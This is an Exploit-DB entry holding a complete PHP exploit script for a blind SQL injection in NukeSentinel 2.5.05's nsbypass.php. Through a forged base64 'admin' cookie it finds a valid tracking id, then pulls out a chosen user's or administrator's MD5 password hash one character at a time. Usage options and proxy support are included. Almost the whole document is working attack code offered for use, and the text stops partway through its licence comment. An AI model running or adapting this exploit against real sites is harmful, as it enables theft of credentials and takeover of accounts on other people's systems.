Exploit-DB #3337
Description: NukeSentinel 2.5.05 - 'nsbypass.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-02-20
Author: DarkFig

Exploit:
#!/usr/bin/php
<?php
error_reporting(E_ALL ^ E_NOTICE);

# (changes.txt)
#
# 2.5.05 CHANGES (2007-01-22):
# + Includes IP2Country 2007-01-19 updated imports.
#   - Both data and sql versions. (Not in upgrade package)
# + Moved nsbypass.php into the includes directory (Per User Requests).
#
# Prior versions may also be vulnerable but this exploit will not work
# for these versions (because the file 'nsbypass.php' is not into the
# includes directory).
#

if($argc < 5) {
print("
  NukeSentinel 2.5.05 (nsbypass.php) Blind SQL Injection Exploit
------------------------------------------------------------------
PHP conditions: none
CMS conditions: disable_switch<=0 (module activated), track_active=1
       Credits: DarkFig <gmdarkfig@gmail.com>
           URL: http://www.acid-root.new.fr/
------------------------------------------------------------------
  Usage: $argv[0] -url <url> -victim <username> [Opts]
Options: -isadmin   Is the victim an Admin (1) or a normal user (default=0) ?
         -prefix    Table prefix (default=nuke)
         -tid       If you have already used this sploit
         -bf        You can precise how many hits we can try
         -proxy     If you wanna use a proxy <proxyhost:proxyport> 
         -proxyauth Basic authentification <proxyuser:proxypwd> 
------------------------------------------------------------------
"); exit(1);
}

$url   = getparam('url',1);                                          # http://localhost/php-nuke-7.9/html/
$login = getparam('victim',1);                           # Default   # Victim (root for example)
$admin = (getparam('isadmin')!='') ? getparam('isadmin') : 0;
$prfix = (getparam('prefix')!='')  ? getparam('prefix')  : 'nuke';
$tid   = (getparam('tid')!='')     ? getparam('tid')     : 0;
$nbtst = (getparam('bf')!='')      ? getparam('bf')      : 10000;
$proxy = getparam('proxy');
$authp = getparam('proxyauth');

$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
if($proxy) $xpl->proxy($proxy);
if($authp) $xpl->proxyauth($authp);

# +nukesentinel.php
# 49.  if($ab_config['disable_switch'] > 0) { return; }
# 414. if($ab_config['track_active'] == 1 AND !is_excluded($nsnst_const['remote_ip'])) {
# 458. $db->sql_query("INSERT INTO `".$prefix."_nsnst_tracked_ips` (`user_id`, `username`, `date`, `ip_addr`, `ip_long`, `page`,
#                     `user_agent`, `refered_from`, `x_forward_for`, `client_ip`, `remote_addr`, `remote_port`, `request_method`,
#                     `c2c`) VALUES ('".$nsnst_const['ban_user_id']."', '$ban_username2', '".$nsnst_const['ban_time']."', 
#                     '".$nsnst_const['remote_ip']."', '".$nsnst_const['remote_long']."', '$pg', '$user_agent', '$refered_from',
#                     '".$nsnst_const['forward_ip']."', '".$nsnst_const['client_ip']."', '".$nsnst_const['remote_addr']."',
#                     '".$nsnst_const['remote_port']."', '".$nsnst_const['request_method']."', '$c2c')");
#
# We insert a row in $prefix."_nsnst_tracked_ips".
#
print "\nInserting a row in ${prfix}_nsnst_tracked_ips";
$xpl->addheader("Client-IP","255.255.255.255");
$xpl->get($url.'index.php');


# Trying to find a valid tid.
# Needed for $tum > 0.
#
print "\nTrying to find a valid tid (max hits=$nbtst)";
$sql = "' OR 1=1#";
$xpl->addcookie("admin",urlencode(base64_encode($sql.':1:')));
for($c=$tid;$c<=$nbtst;$c++)
{
    $xpl->get($url."includes/nsbypass.php?tid=$c");
    if(!preg_match("#phpnuke.org#",$xpl->getheader()))
    {
    	$tid = $c;
    	print "\nValid tid found: $tid\nHash: $login -> ";
        break;
    }
    if($c == $nbtst) exit("\n#1 Exploit failed");
}


# MD5 hash length [32]
#
for($a=1;$a<=32;$a++)
{
	# MD5 charset [a-f0-9]
	#
	for($b=48;$b<=71;$b++)
	{
                # +nsbypass.php
		# 24. $num = $db->sql_numrows($db->sql_query("SELECT * FROM ".$prefix."_authors WHERE `aid`='$a_aid' AND `pwd`='$a_pas'"));
		# 25. $tum = $db->sql_numrows($db->sql_query("SELECT * FROM ".$prefix."_nsnst_tracked_ips WHERE `tid`='$tid'"));
		# 
		if($admin) $sql = "$login' AND SUBSTR(pwd,$a,1)=CHAR($b)#";
		else       $sql = "' OR SUBSTR((SELECT user_password FROM ${prfix}_users WHERE username='$login'),$a,1)=CHAR($b)#";
		
		# +nsbypass.php
		# 16. $tid = intval($tid);
		# 17. if(isset($_COOKIE['admin']) && !empty($_COOKIE['admin'])) {
		# 18. $abadmin = base64_decode($_COOKIE['admin']);
		# 19. $abadmin = explode(":", $abadmin);
		# 20. $a_aid = "$abadmin[0]";
		# 21. $a_pas = "$abadmin[1]";
		# 22. }
		#
		$xpl->addcookie("admin",urlencode(base64_encode($sql.':1:')));
		$xpl->get($url."includes/nsbypass.php?tid=$tid");

		# +nsbypass.php
		# 27. if($num > 0 AND $tum > 0) {
		# 28. $row = $db->sql_fetchrow($db->sql_query("SELECT * FROM ".$prefix."_nsnst_tracked_ips WHERE `tid`='$tid'"));
		# 29. $row['refered_from'] = html_entity_decode($row['refered_from'], ENT_QUOTES);
		# 30. header("Location: ".$row['refered_from']);
		# 31. } else {
		# 32. header("Location: ".$nuke_config['nukeurl']);
		# 33. }
		#
		if(!preg_match("#phpnuke.org#",$xpl->getheader()))
		{
			print strtolower(chr($b));
			break;
		}
		
		# MD5 hash do not contains g (char(71)) ... WTF !?
		#
		if($b == 71) exit("\n#2 Exploit failed");
	}
}


# -url "http://www.victim.com/"
# -url http://www.victim.com/
# getparam('url',1)
#
function getparam($param,$opt='')
{
	global $argv;
	foreach($argv as $value => $key)
	{
		if($key == '-'.$param) return $argv[$value+1];
	}
	if($opt) exit("\n#3 -$param parameter required");
	else return;
}

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * b